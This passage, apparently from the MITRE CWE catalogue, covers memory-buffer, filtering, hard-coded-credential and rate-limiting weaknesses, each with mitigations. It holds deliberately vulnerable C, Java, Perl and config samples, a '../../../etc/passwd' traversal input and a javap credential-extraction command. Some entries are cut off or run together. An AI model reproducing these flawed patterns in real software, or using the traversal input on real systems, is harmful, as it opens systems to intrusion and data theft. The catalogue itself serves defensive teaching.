The programmer allows the user to specify which element in the list to select, however an attacker can provide an out-of-bounds offset, resulting in a buffer over-read (CWE-126).

Example 3:

The following is an example of code that may result in a buffer underwrite, if find() returns a negative value to indicate that ch is not found in srcBuf:

C Example: *Bad Code*

```
int main() {
  ...
  strncpy(destBuf, &srcBuf[find(srcBuf, ch)], 1024);
  ...
}
```

If the index to srcBuf is somehow under user control, this is an arbitrary write-what-where condition.

Observed Examples

Reference	Description
CVE-2002-2227	Unchecked length of SSLv2 challenge value leads to buffer underflow.
CVE-2004-2620	Buffer underflow due to mishandled special characters
CVE-2006-4024	Negative value is used in a memcpy() operation, leading to buffer underflow.
CVE-2006-6171	Product sets an incorrect buffer size limit, leading to "off-by-two" buffer underflow.
CVE-2007-0886	Buffer underflow resultant from encoded data that triggers an integer overflow.
CVE-2007-1584	Buffer underflow from an all-whitespace string, which causes a counter to be decremented before the buffer while looking for a non-whitespace character.
CVE-2007-4580	Buffer underflow from a small size value with a large buffer (length parameter inconsistency, CWE-130)

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	119	Improper Restriction of Operations within the Bounds of a Memory Buffer	699 1000	226
ParentOf	B	*124*	*Buffer Underwrite ('Buffer Underflow')*	***699 1000***	*250*
ParentOf	V	*127*	*Buffer Under-read*	***699 1000***	*256*
MemberOf	V	*884*	*CWE Cross-section*	***884***	*1323*

CWE-787: Out-of-bounds Write

Weakness ID: 787 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software writes data past the end, or before the beginning, of the intended buffer.

Extended Description

This typically occurs when the pointer or its index is incremented or decremented to a position beyond the bounds of the buffer or when pointer arithmetic results in a position outside of the valid memory location to name a few. This may result in corruption of sensitive information, a crash, or code execution among other things.

Common Consequences

Integrity
Availability
Confidentiality
Modify memory
DoS: crash / exit / restart
Execute unauthorized code or commands

Demonstrative Examples

Example 1:

The following code attempts to save four different identification numbers into an array.

C Example: *Bad Code*

```
int id_sequence[3];
/* Populate the id array. */
id_sequence[0] = 123;
id_sequence[1] = 234;
id_sequence[2] = 345;
id_sequence[3] = 456;
```

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example: *Bad Code*

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Relationships

CWE-788: Access of Memory Location After End of Buffer

Weakness ID: 788 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software reads or writes to a buffer using an index or pointer that references a memory location after the end of the buffer.

Extended Description

This typically occurs when a pointer or its index is decremented to a position before the buffer; when pointer arithmetic results in a position before the buffer; or when a negative index is used, which generates a position before the buffer.

Common Consequences

Confidentiality
Read memory

For an out-of-bounds read, the attacker may have access to sensitive information. If the sensitive information contains system details, such as the current buffers position in memory, this knowledge can be used to craft further attacks, possibly with more severe consequences.

Integrity
Availability
Modify memory
DoS: crash / exit / restart

Out of bounds memory access will very likely result in the corruption of relevant memory, and perhaps instructions, possibly leading to a crash. Other attacks leading to lack of availability are possible, including putting the program into an infinite loop.

Modify memory
Execute unauthorized code or commands

If the memory accessible by the attacker can be effectively controlled, it may be possible to execute arbitrary code, as with a standard buffer overflow. If the attacker can overwrite a pointer's worth of memory (usually 32 or 64 bits), he can redirect a function pointer to his own malicious code. Even when the attacker can only modify a single byte arbitrary code execution can be possible. Sometimes this is because the same problem can be exploited repeatedly to the same effect. Other times it is because the attacker can overwrite security-critical application-specific data -- such as a flag indicating whether the user is an administrator.

Demonstrative Examples

Example 1:

This example takes an IP address from a user, verifies that it is well formed and then looks up the hostname and copies it into a buffer.

C Example: *Bad Code*

```
void host_lookup(char *user_supplied_addr){
  struct hostent *hp;
  in_addr_t *addr;
  char hostname[64];
  in_addr_t inet_addr(const char *cp);
  /*routine that ensures user_supplied_addr is in the right format for conversion */
  validate_addr_form(user_supplied_addr);
  addr = inet_addr(user_supplied_addr);
  hp = gethostbyaddr( addr, sizeof(struct in_addr), AF_INET);
  strcpy(hostname, hp->h_name);
}
```

This function allocates a buffer of 64 bytes to store the hostname, however there is no guarantee that the hostname will not be larger than 64 bytes. If an attacker specifies an address which resolves to a very large hostname, then we may overwrite sensitive data or even relinquish control flow to the attacker.

Note that this example also contains an unchecked return value (CWE-252) that can lead to a NULL pointer dereference (CWE-476).

Example 2:

In the following example, it is possible to request that memcpy move a much larger segment of memory than assumed:

C Example: *Bad Code*

```
int returnChunkSize(void *) {
  /* if chunk info is valid, return the size of usable memory,
  * else, return -1 to indicate an error
  */
  ...
}
int main() {
  ...
  memcpy(destBuf, srcBuf, (returnChunkSize(destBuf)-1));
  ...
}
```

If returnChunkSize() happens to encounter an error it will return -1. Notice that the return value is not checked before the memcpy operation (CWE-252), so -1 can be passed as the size argument to memcpy() (CWE-805). Because memcpy() assumes that the value is unsigned, it will be interpreted as MAXINT-1 (CWE-195), and therefore will copy far more memory than is likely available to the destination buffer (CWE-787, CWE-788).

Example 3:

This example applies an encoding procedure to an input string and stores it into a buffer.

C Example: *Bad Code*

```
char * copy_input(char *user_supplied_string){
  int i, dst_index;
  char *dst_buf = (char*)malloc(4*sizeof(char) * MAX_SIZE);
  if ( MAX_SIZE <= strlen(user_supplied_string) ){
    die("user string too long, die evil hacker!");
  }
  dst_index = 0;
  for ( i = 0; i < strlen(user_supplied_string); i++ ){
    if( '&' == user_supplied_string[i] ){
      dst_buf[dst_index++] = '&';
      dst_buf[dst_index++] = 'a';
      dst_buf[dst_index++] = 'm';
      dst_buf[dst_index++] = 'p';
      dst_buf[dst_index++] = ';';
    }
    else if ('<' == user_supplied_string[i] ){
```

```
      /* encode to &lt; */
    }
    else dst_buf[dst_index++] = user_supplied_string[i];
  }
  return dst_buf;
}
```

The programmer attempts to encode the ampersand character in the user-controlled string, however the length of the string is validated before the encoding procedure is applied. Furthermore, the programmer assumes encoding expansion will only expand a given character by a factor of 4, while the encoding of the ampersand expands by 5. As a result, when the encoding procedure expands the string it is possible to overflow the destination buffer if the attacker provides a string of many ampersands.

Example 4:

In the following C/C++ example the method processMessageFromSocket() will get a message from a socket, placed into a buffer, and will parse the contents of the buffer into a structure that contains the message length and the message body. A for loop is used to copy the message body into a local character string which will be passed to another method for processing.

C/C++ Example: *Bad Code*

```
int processMessageFromSocket(int socket) {
  int success;
  char buffer[BUFFER_SIZE];
  char message[MESSAGE_SIZE];
  // get message from socket and store into buffer
  //Ignoring possibliity that buffer > BUFFER_SIZE
  if (getMessage(socket, buffer, BUFFER_SIZE) > 0) {
    // place contents of the buffer into message structure
    ExMessage *msg = recastBuffer(buffer);
    // copy message body into string for processing
    int index;
    for (index = 0; index < msg->msgLength; index++) {
      message[index] = msg->msgBody[index];
    }
    message[index] = '\0';
    // process message
    success = processMessage(message);
  }
  return success;
}
```

However, the message length variable from the structure is used as the condition for ending the for loop without validating that the message length variable accurately reflects the length of message body. This can result in a buffer over read by reading from memory beyond the bounds of the buffer if the message length variable indicates a length that is longer than the size of a message body (CWE-130).

Observed Examples

Reference	Description
CVE-2007-4268	Chain: integer signedness passes signed comparison, leads to heap overflow
CVE-2008-4113	OS kernel trusts userland-supplied length value, allowing reading of sensitive information
CVE-2009-0558	attacker-controlled array index leads to code execution
CVE-2009-0689	large precision value in a format string triggers overflow
CVE-2009-2403	Heap-based buffer overflow in media player using a long entry in a playlist

CWE-789: Uncontrolled Memory Allocation

Weakness ID: 789 *(Weakness Variant)* **Status:** Draft

Description

Summary

The product allocates memory based on an untrusted size value, but it does not validate or incorrectly validates the size, allowing arbitrary amounts of memory to be allocated.

Time of Introduction

- Implementation
- Architecture and Design

Applicable Platforms

Languages

- C
- C++
- All

Platform Notes

Common Consequences

Availability

DoS: resource consumption (memory)

Not controlling memory allocation can result in a request for too much system memory, possibly leading to a crash of the application due to out-of-memory conditions, or the consumption of a large amount of memory on the system.

Likelihood of Exploit

Low

Demonstrative Examples

Example 1:

Consider the following code, which accepts an untrusted size value and allocates a buffer to contain a string of the given size.

Bad Code

```
unsigned int size = GetUntrustedInt();
/* ignore integer overflow (CWE-190) for this example */
unsigned int totBytes = size * sizeof(char);
char *string = (char *)malloc(totBytes);
InitializeString(string);
```

Suppose an attacker provides a size value of:

12345678

This will cause 305,419,896 bytes (over 291 megabytes) to be allocated for the string.

Example 2:

Consider the following code, which accepts an untrusted size value and uses the size as an initial capacity for a HashMap.

Bad Code

```
unsigned int size = GetUntrustedInt();
HashMap list = new HashMap(size);
```

The HashMap constructor will verify that the initial capacity is not negative, however there is no check in place to verify that sufficient memory is present. If the attacker provides a large enough value, the application will run into an OutOfMemoryError.

Example 3:

The following code obtains an untrusted number that it used as an index into an array of messages.

Perl Example: *Bad Code*

```
my $num = GetUntrustedNumber();
my @messages = ();
$messages[$num] = "Hello World";
```

The index is not validated at all (CWE-129), so it might be possible for an attacker to modify an element in @messages that was not intended. If an index is used that is larger than the current size of the array, the Perl interpreter automatically expands the array so that the large index works.

If $num is a large value such as 2147483648 (1<<31), then the assignment to $messages[$num] would attempt to create a very large array, then eventually produce an error message such as:

Out of memory during array extend

This memory exhaustion will cause the Perl program to exit, possibly a denial of service. In addition, the lack of memory could also prevent many other programs from successfully running on the system.

Observed Examples

Reference	Description
CVE-2004-2589	large Content-Length HTTP header value triggers application crash in instant messaging application due to failure in memory allocation
CVE-2006-3791	large key size in game program triggers crash when a resizing function cannot allocate enough memory
CVE-2008-0977	large value in a length field leads to memory consumption and crash when no more memory is available
CVE-2008-1708	memory consumption and daemon exit by specifying a large value in a length field

Potential Mitigations

Implementation

Architecture and Design

Perform adequate input validation against any value that influences the amount of memory that is allocated. Define an appropriate strategy for handling requests that exceed the limit, and consider supporting a configuration option so that the administrator can extend the amount of memory to be used if necessary.

Operation

Run your program using system-provided resource limits for memory. This might still cause the program to crash or exit, but the impact to the rest of the system will be minimized.

Weakness Ordinalities

Primary *(where the weakness exists independent of other weaknesses)*

Resultant *(where the weakness is typically related to the presence of some other weaknesses)*

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	C	20	Improper Input Validation	1000	18
CanPrecede	B	476	NULL Pointer Dereference	1000	800
ChildOf	B	770	Allocation of Resources Without Limits or Throttling	**699** **1000**	1178
CanFollow	B	*129*	*Improper Validation of Array Index*	*1000*	*258*

Relationship Notes

This weakness can be closely associated with integer overflows (CWE-190). Integer overflow attacks would concentrate on providing an extremely large number that triggers an overflow that causes less memory to be allocated than expected. By providing a large value that does not trigger an integer overflow, the attacker could still cause excessive amounts of memory to be allocated.

Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Mapped Node Name
WASC	35	SOAP Array Abuse

CWE-790: Improper Filtering of Special Elements

Weakness ID: 790 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but does not filter or incorrectly filters special elements before sending it to a downstream component.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Relationships

CWE-791: Incomplete Filtering of Special Elements

Weakness ID: 791 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but does not completely filter special elements before sending it to a downstream component.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

CWE-792: Incomplete Filtering of One or More Instances of Special Elements

Weakness ID: 792 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but does not completely filter one or more instances of special elements before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature involves either

only filtering a single instance of a special element when more exist, or

not filtering all instances or all elements where multiple special elements exist.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
```

```
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```

CWE-793: Only Filtering One Instance of a Special Element

Weakness ID: 793 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but only filters a single instance of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be location-dependent, as in only the first or last element is filtered.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	**699** **1000**	1218

CWE-794: Incomplete Filtering of Multiple Instances of Special Elements

Weakness ID: 794 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but does not filter all instances of a special element before sending it to a downstream component.

Extended Description

Incomplete filtering of this nature may be applied to

sequential elements (special elements that appear next to each other) or

non-sequential elements (special elements that appear multiple times in different locations).

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter "../" from the input. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```perl
my $Username = GetUntrustedInput();
$Username =~ s/\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression does not have the /g global match modifier, it only removes the first instance of "../" it comes across. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-23).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	V	792	Incomplete Filtering of One or More Instances of Special Elements	699 1000	1218

CWE-795: Only Filtering Special Elements at a Specified Location

Weakness ID: 795 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but only accounts for special elements at a specified location, thereby missing remaining special elements that may exist before sending it to a downstream component.

Extended Description

A filter might only account for instances of special elements when they occur:

relative to a marker (e.g. "at the beginning/end of string; the second argument"), or

at an absolute position (e.g. "byte number 10").

This may leave special elements in the data that did not match the filter position, but still may be dangerous.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

Relationships

ParentOf	V	*797*	*Only Filtering Special Elements at an Absolute Position*	***699 1000***	*1222*

CWE-796: Only Filtering Special Elements Relative to a Marker

Weakness ID: 796 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but only accounts for special elements positioned relative to a marker (e.g. "at the beginning/end of a string; the second argument"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a regular expression to filter a "../" element located at the beginning of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
$Username =~ s/^\.\.\///;
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the regular expression is only looking for an instance of "../" at the beginning of the string, it only removes the first "../" element. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" stripped, resulting in:

Result

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

Relationships

Nature	Type	ID	Name	V	Page
ChildOf	B	795	Only Filtering Special Elements at a Specified Location	**699** **1000**	1221

CWE-797: Only Filtering Special Elements at an Absolute Position

Weakness ID: 797 *(Weakness Variant)* **Status:** Incomplete

Description

Summary

The software receives data from an upstream component, but only accounts for special elements at an absolute position (e.g. "byte number 10"), thereby missing remaining special elements that may exist before sending it to a downstream component.

Common Consequences

Integrity

Unexpected state

Demonstrative Examples

The following code takes untrusted input and uses a substring function to filter a 3-character "../" element located at the 0-index position of the input string. It then appends this result to the /home/user/ directory and attempts to read the file in the final resulting path.

Perl Example: *Bad Code*

```
my $Username = GetUntrustedInput();
if (substr($Username, 0, 3) eq '../') {
  $Username = substr($Username, 3);
}
my $filename = "/home/user/" . $Username;
ReadAndSendFile($filename);
```

Since the if function is only looking for a substring of "../" between the 0 and 2 position, it only removes that specific "../" element. So an input value such as:

Attack

```
../../../etc/passwd
```

will have the first "../" filtered, resulting in:

Result

```
../../etc/passwd
```

This value is then concatenated with the /home/user/ directory:

Result

```
/home/user/../../etc/passwd
```

which causes the /etc/passwd file to be retrieved once the operating system has resolved the ../ sequences in the pathname. This leads to relative path traversal (CWE-22).

CWE-798: Use of Hard-coded Credentials

Weakness ID: 798 *(Weakness Base)* **Status:** Incomplete

Description

Summary

The software contains hard-coded credentials, such as a password or cryptographic key, which it uses for its own inbound authentication, outbound communication to external components, or encryption of internal data.

Extended Description

Hard-coded credentials typically create a significant hole that allows an attacker to bypass the authentication that has been configured by the software administrator. This hole might be difficult for the system administrator to detect. Even if detected, it can be difficult to fix, so the administrator may be forced into disabling the product entirely. There are two main variations:

Inbound: the software contains an authentication mechanism that checks the input credentials against a hard-coded set of credentials.

Outbound: the software connects to another system or component, and it contains hard-coded credentials for connecting to that component.

In the Inbound variant, a default administration account is created, and a simple password is hard-coded into the product and associated with that account. This hard-coded password is the same for each installation of the product, and it usually cannot be changed or disabled by system administrators without manually modifying the program, or otherwise patching the software. If the password is ever discovered or published (a common occurrence on the Internet), then anybody with knowledge of this password can access the product. Finally, since all installations of the software will have the same password, even across different organizations, this enables massive attacks such as worms to take place.

The Outbound variant applies to front-end systems that authenticate with a back-end service. The back-end service may require a fixed password which can be easily discovered. The programmer may simply hard-code those back-end credentials into the front-end software. Any user of that program may be able to extract the password. Client-side systems with hard-coded passwords pose even more of a threat, since the extraction of a password from a binary is usually very simple.

Time of Introduction

- Architecture and Design

Applicable Platforms

Languages

- Language-independent

Architectural Paradigms

- Mobile Application

Common Consequences

Access Control
Bypass protection mechanism

If hard-coded passwords are used, it is almost certain that malicious users will gain access to the account in question.

Integrity
Confidentiality
Availability
Access Control
Other
Read application data
Gain privileges / assume identity
Execute unauthorized code or commands
Other

This weakness can lead to the exposure of resources or functionality to unintended actors, possibly providing attackers with sensitive information or even execute arbitrary code.

Likelihood of Exploit

Very High

Detection Methods

Black Box
Moderate

Credential storage in configuration files is findable using black box methods, but the use of hard-coded credentials for an incoming authentication routine typically involves an account that is not visible outside of the code.

Automated Static Analysis

Automated white box techniques have been published for detecting hard-coded credentials for incoming authentication, but there is some expert disagreement regarding their effectiveness and applicability to a broad range of methods.

Manual Static Analysis

This weakness may be detectable using manual code analysis. Unless authentication is decentralized and applied throughout the software, there can be sufficient time for the analyst to find incoming authentication routines and examine the program logic looking for usage of hard-coded credentials. Configuration files could also be analyzed.

These may be more effective than strictly automated techniques. This is especially the case with weaknesses that are related to design and business rules.

Manual Dynamic Analysis

For hard-coded credentials in incoming authentication: use monitoring tools that examine the software's process as it interacts with the operating system and the network. This technique is useful in cases when source code is unavailable, if the software was not developed by you, or if you want to verify that the build phase did not introduce any new weaknesses. Examples include debuggers that directly attach to the running process; system-call tracing utilities such as truss (Solaris) and strace (Linux); system activity monitors such as FileMon, RegMon, Process Monitor, and other Sysinternals utilities (Windows); and sniffers and protocol analyzers that monitor network traffic.

Attach the monitor to the process and perform a login. Using call trees or similar artifacts from the output, examine the associated behaviors and see if any of them appear to be comparing the input to a fixed string or value.

Automated Static Analysis - Binary / Bytecode
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Binary Weakness Analysis - including disassembler + source code weakness analysis

Manual Static Analysis - Binary / Bytecode
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies

Dynamic Analysis with manual results interpretation
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Network Sniffer
Forced Path Execution

Manual Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)

Automated Static Analysis - Source Code
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer

Automated Static Analysis
SOAR Partial

According to SOAR, the following detection techniques may be useful:

Cost effective for partial coverage:

Configuration Checker

Architecture / Design Review
SOAR High

According to SOAR, the following detection techniques may be useful:

Highly cost effective:

Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Formal Methods / Correct-By-Construction

Demonstrative Examples

Example 1:

The following code uses a hard-coded password to connect to a database:

Java Example: *Bad Code*

```
...
DriverManager.getConnection(url, "scott", "tiger");
...
```

This is an example of an external hard-coded password on the client-side of a connection. This code will run successfully, but anyone who has access to it will have access to the password. Once the program has shipped, there is no going back from the database user "scott" with a password of "tiger" unless the program is patched. A devious employee with access to this information can use it to break into the system. Even worse, if attackers have access to the bytecode for application, they can use the javap -c command to access the disassembled code, which will contain the values of the passwords used. The result of this operation might look something like the following for the example above:

Attack

```
javap -c ConnMngr.class
  22: ldc #36; //String jdbc:mysql://ixne.com/rxsql
  24: ldc #38; //String scott
  26: ldc #17; //String tiger
```

Example 2:

The following code is an example of an internal hard-coded password in the back-end:

C/C++ Example: *Bad Code*

```
int VerifyAdmin(char *password) {
  if (strcmp(password, "Mew!")) {
    printf("Incorrect Password!\n");
    return(0)
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Java Example: *Bad Code*

```
int VerifyAdmin(String password) {
  if (passwd.Equals("Mew!")) {
    return(0)
  }
  //Diagnostic Mode
  return(1);
}
```

Every instance of this program can be placed into diagnostic mode with the same password. Even worse is the fact that if this program is distributed as a binary-only distribution, it is very difficult to change that password or disable this "functionality."

Example 3:

The following code examples attempt to verify a password using a hard-coded cryptographic key.

C/C++ Example: *Bad Code*

```
int VerifyAdmin(char *password) {
  if (strcmp(password,"68af404b513073584c4b6f22b6c63e6b")) {
    printf("Incorrect Password!\n");
    return(0);
  }
  printf("Entering Diagnostic Mode...\n");
  return(1);
}
```

Java Example: *Bad Code*

```
public boolean VerifyAdmin(String password) {
```

```
  if (password.equals("68af404b513073584c4b6f22b6c63e6b")) {
    System.out.println("Entering Diagnostic Mode...");
    return true;
  }
  System.out.println("Incorrect Password!");
  return false;
```

C# Example: *Bad Code*

```
int VerifyAdmin(String password) {
  if (password.Equals("68af404b513073584c4b6f22b6c63e6b")) {
    Console.WriteLine("Entering Diagnostic Mode...");
    return(1);
  }
  Console.WriteLine("Incorrect Password!");
  return(0);
}
```

The cryptographic key is within a hard-coded string value that is compared to the password. It is likely that an attacker will be able to read the key and compromise the system.

Example 4:

The following examples show a portion of properties and configuration files for Java and ASP.NET applications. The files include username and password information but they are stored in plaintext.

This Java example shows a properties file with a plaintext username / password pair.

Java Example: *Bad Code*

```
# Java Web App ResourceBundle properties file
...
webapp.ldap.username=secretUsername
webapp.ldap.password=secretPassword
...
```

The following example shows a portion of a configuration file for an ASP.Net application. This configuration file includes username and password information for a connection to a database but the pair is stored in plaintext.

ASP.NET Example: *Bad Code*

```
...
<connectionStrings>
<add name="ud_DEV" connectionString="connectDB=uDB; uid=db2admin; pwd=password; dbalias=uDB;"
providerName="System.Data.Odbc" />
</connectionStrings>
...
```

Username and password information should not be included in a configuration file or a properties file in plaintext as this will allow anyone who can read the file access to the resource. If possible, encrypt this information and avoid CWE-260 and CWE-13.

Observed Examples

Reference	Description
CVE-2005-0496	Backup product contains hard-coded credentials that effectively serve as a back door, which allows remote attackers to access the file system
CVE-2005-3716	VoIP product uses unchangeable hard-coded public credentials that cannot be changed, which allows attackers to obtain sensitive information
CVE-2005-3803	VoIP product uses hard coded public and private SNMP community strings that cannot be changed, which allows remote attackers to obtain sensitive information
CVE-2006-7142	Drive encryption product stores hard-coded cryptographic keys for encrypted configuration files in executable programs
CVE-2008-0961	Backup product uses hard-coded username and password, allowing attackers to bypass authentication via the RPC interface
CVE-2008-1160	Security appliance uses hard-coded password allowing attackers to gain root access
CVE-2008-2369	Server uses hard-coded authentication key
CVE-2010-1573	Chain: Router firmware uses hard-coded username and password for access to debug functionality, which can be used to execute arbitrary code
CVE-2010-2073	FTP server library uses hard-coded usernames and passwords for three default accounts

Reference	Description
CVE-2010-2772	SCADA system uses a hard-coded password to protect back-end database containing authorization information, exploited by Stuxnet worm

Potential Mitigations

Architecture and Design

For outbound authentication: store passwords, keys, and other credentials outside of the code in a strongly-protected, encrypted configuration file or database that is protected from access by all outsiders, including other local users on the same system. Properly protect the key (CWE-320). If you cannot use encryption to protect the file, then make sure that the permissions are as restrictive as possible [R.798.1].

In Windows environments, the Encrypted File System (EFS) may provide some protection.

Architecture and Design

For inbound authentication: Rather than hard-code a default username and password, key, or other authentication credentials for first time logins, utilize a "first login" mode that requires the user to enter a unique strong password or key.

Architecture and Design

If the software must contain hard-coded credentials or they cannot be removed, perform access control checks and limit which entities can access the feature that requires the hard-coded credentials. For example, a feature might only be enabled through the system console instead of through a network connection.

Architecture and Design

For inbound authentication using passwords: apply strong one-way hashes to passwords and store those hashes in a configuration file or database with appropriate access control. That way, theft of the file/database still requires the attacker to try to crack the password. When handling an incoming password during authentication, take the hash of the password and compare it to the saved hash.

Use randomly assigned salts for each separate hash that is generated. This increases the amount of computation that an attacker needs to conduct a brute-force attack, possibly limiting the effectiveness of the rainbow table method.

Architecture and Design

For front-end to back-end connections: Three solutions are possible, although none are complete.

The first suggestion involves the use of generated passwords or keys that are changed automatically and must be entered at given time intervals by a system administrator. These passwords will be held in memory and only be valid for the time intervals.

Next, the passwords or keys should be limited at the back end to only performing actions valid for the front end, as opposed to having full access.

Finally, the messages sent should be tagged and checksummed with time sensitive values so as to prevent replay-style attacks.

CWE-799: Improper Control of Interaction Frequency

Weakness ID: 799 *(Weakness Class)* **Status:** Incomplete

Description

Summary

The software does not properly limit the number or frequency of interactions that it has with an actor, such as the number of incoming requests.

Extended Description

This can allow the actor to perform actions more frequently than expected. The actor could be a human or an automated process such as a virus or bot. This could be used to cause a denial of service, compromise program logic (such as limiting humans to a single vote), or other consequences. For example, an authentication routine might not limit the number of times an attacker can guess a password. Or, a web site might conduct a poll but only expect humans to vote a maximum of once a day.

Alternate Terms

Insufficient anti-automation

The term "insufficient anti-automation" focuses primarily on non-human actors such as viruses or bots, but the scope of this CWE entry is broader.

Brute force

Vulnerabilities that can be targeted using brute force attacks are often symptomatic of this weakness.

Time of Introduction

- Architecture and Design
- Implementation
- Operation

Applicable Platforms

Languages

- Language-independent

Common Consequences

Availability
Access Control
Other
DoS: resource consumption (other)
Bypass protection mechanism
Other

Demonstrative Examples

In the following code a username and password is read from a socket and an attempt is made to authenticate the username and password. The code will continuously checked the socket for a username and password until it has been authenticated.

C/C++ Example: *Bad Code*

```
char username[USERNAME_SIZE];
char password[PASSWORD_SIZE];
while (isValidUser == 0) {
  if (getNextMessage(socket, username, USERNAME_SIZE) > 0) {
    if (getNextMessage(socket, password, PASSWORD_SIZE) > 0) {
      isValidUser = AuthenticateUser(username, password);
    }
  }
}
return(SUCCESS);
```

